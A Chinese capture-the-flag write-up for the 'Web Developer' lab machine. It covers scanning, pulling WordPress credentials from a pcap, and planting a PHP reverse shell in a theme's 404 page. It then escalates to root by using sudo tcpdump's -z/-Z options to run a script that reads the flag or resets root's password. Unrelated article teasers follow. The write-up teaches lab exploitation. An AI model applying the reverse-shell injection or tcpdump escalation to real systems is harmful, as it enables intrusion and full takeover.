news 2026/4/22 23:05:44

打Web Developer靶机 修改root密码 夺取flag

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
打Web Developer靶机 修改root密码 夺取flag

虚拟机网络配置

虚拟机kali和Web Developer都用NAT模式

扫描靶机

kali查看自己的ip

kali的ip是192.168.138.128,子网掩码是255.255.255.0

扫描存活主机

netdiscover -i eth0 -r 192.168.138.0/24

知道到靶机ip 192.168.138.130

nmap扫描端口和服务及版本

nmap -sS -sV -sC -p- 192.168.138.130

看到Web Developer开放22号端口和80号端口,提供ssh服务和http服务,网站搭建使用了WordPress 4.9.8模板,这个版本的模板是有漏洞的。也可以用whatweb再确定网站使用的模板

whatweb -v http://192.168.138.130

确定网站用了WordPress 4.9.8模板

访问网站,发现登录入口

进入登录页面

没有用户名密码,回去接着找信息

获取网站账户密码

用dirb爆破目录

dirb http://192.168.138.130

知道一个看起来和网络流量有关的目录

进去看看,发现一个cap文件

下载下来用wireshark打开,过滤post请求,看有没有跟登录有关的。

wp-login.php明显跟登录有关,实际上它就是刚才进去过的登录页面。打开发现账号密码明文传输

获得用户名webdeveloper,密码Te5eQg&4sBS!Yr$)wf%(DcAd,用这个账号密码登录,进入后台

提权

点击Apparance,点击Editor,发现可以编辑页面源码

尝试把404页面的源码换成kali自带的反弹shell的脚本。如果成功注入,那么访问该页面时该脚本就会对kali发起tcp连接,该CMS为PHP开发,可以利用其实现反弹shell,我们就可以在kali使用shell命令控制靶机。

脚本在 /usr/share/webshells/php 目录下

在后台选择404页面的源码

把脚本的代码复制进去,替换掉原代码

ctrl+f查找"$ip",找到定义ip的位置,把ip换成kali的ip,端口想换的话也可以换

点击"update file",失败了

将主题改为Twenty Sixteen再尝试,改完要点击select生效

select之后页面刷新,重新选中404,再把代码替换掉,把IP换成kali的IP

update file,成功了

接下来在kali用nc监听刚才代码里设定的端口

在浏览器访问404页面http://192.168.138.130/wp-content/themes/twentysixteen/404.php

kali中已经收到反弹回来的shell,可以在这里输入命令了

到网站根目录 /var/www/html 下看有什么可利用的文件,发现配置文件

查看配置文件有什么信息

cat wp-config.php

找到数据库的用户名和密码

用户名:webdeveloper

密码:MasterOfTheUniverse

用ssh登录服务器,成功

获取flag,修改root用户密码

尝试查看/root/flag.txt,权限不足

用sudo,还是权限不足

要root权限才能查看flag

看一下当前身份可以执行什么命令,发现可以root权限执行tcpdump。

tcpdump是一个抓包工具,它虽然不能让我们直接获得root权限,但它有一个特点,可以指定用户来执行指定的命令。

这里有两种选择:

1.直接用tcpdump指定root用户来执行获取flag的命令

2.用tcpdump指定root用户执行修改密码的命令,然后就可以登录root用户,有了root权限,就可以拿到flag。

接下来两种方式都试一下

直接用tcpdump指定root用户来执行获取flag的命令

先创建一个用来放命令的文件

touch /tmp/exploit

写入命令

echo "cat /root/flag.txt" > /tmp/exploit

给该文件赋予可执行权限

chmod +x /tmp/exploit

用tcpdump指定root用户执行命令

tcpdump参数:

-i eth0 从指定网卡捕获数据包

-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)

-z [command] 运行指定的命令

-Z [user] 指定用户执行命令

-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储

-W [num] 指定抓包数量

sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

成功读取flag.txt的内容

修改root用户的密码后,登录root用户获取flag

和上面一样,创建文件,赋予可执行权限,只是写入文件的命令不同,上面的命令是获取flag.txt的内容,这里换成给root用户改密码

echo "echo '新密码\n新密码' | passwd root" > /tmp/exploit

然后用tcpdump指定root用户执行,命令还是和上面一样

sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

改密码成功

用新密码登录root用户

获取flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 20:49:37

你还在为Rust-PHP扩展报错崩溃?:3种高效解决方案立即上手

第一章:Rust-PHP 扩展的版本适配在构建基于 Rust 编写的 PHP 扩展时,版本兼容性是确保扩展稳定运行的关键因素。PHP 的内部 API 随版本迭代频繁变化,而 Rust 通过 php-rs 或 ext-php-rs 等绑定库与 Zend 引擎交互,因此必须精确匹配…

作者头像 李华
网站建设 2026/4/22 3:49:55

仅限高级开发者:PHP 8.6扩展开发文档未公开的7个核心结构体

第一章:PHP 8.6 扩展开发概览 PHP 8.6 作为 PHP 语言持续演进的重要版本,进一步优化了扩展开发的接口稳定性与性能表现。该版本在延续 Zend 引擎高效特性的基础上,引入了更清晰的扩展注册机制和增强的类型支持,使 C 语言编写的原生…

作者头像 李华
网站建设 2026/4/21 3:15:18

多传感器信息融合,卡尔曼滤波算法的轨迹跟踪与估计 AEKF——自适应扩展卡尔曼滤波算法

多传感器信息融合,卡尔曼滤波算法的轨迹跟踪与估计AEKF——自适应扩展卡尔曼滤波算法 AUKF——自适应无迹卡尔曼滤波算法 UKF——无迹卡尔曼滤波算法 三种不同的算法实现轨迹跟踪轨迹跟踪这活儿听起来高端,实际干起来全是坑。传感器数据像一群不听话的…

作者头像 李华
网站建设 2026/4/19 1:42:34

【NGS数据质控黄金法则】:10个R语言关键步骤确保分析可靠性

第一章:NGS数据质控的核心意义与R语言优势高通量测序(NGS)技术的迅猛发展为基因组学研究提供了前所未有的数据规模,但原始测序数据中常包含接头污染、低质量碱基和PCR重复等问题,直接影响后续分析的准确性。因此&#…

作者头像 李华
网站建设 2026/4/19 10:00:49

boost获取dll导出函数调用(C++源码)

1、概述 boost获取dll导出函数并调用,4个步骤。 1、包含头文件 2、加载dll 3、获取函数地址 4、调用函数 与windows 的GetProcessAdress方式相比,感觉boost更麻烦一点,于是用ai搜索了下区别,我觉得其中一个好处就是支持跨平台吧。 由于boost::dll::shared_library::get&…

作者头像 李华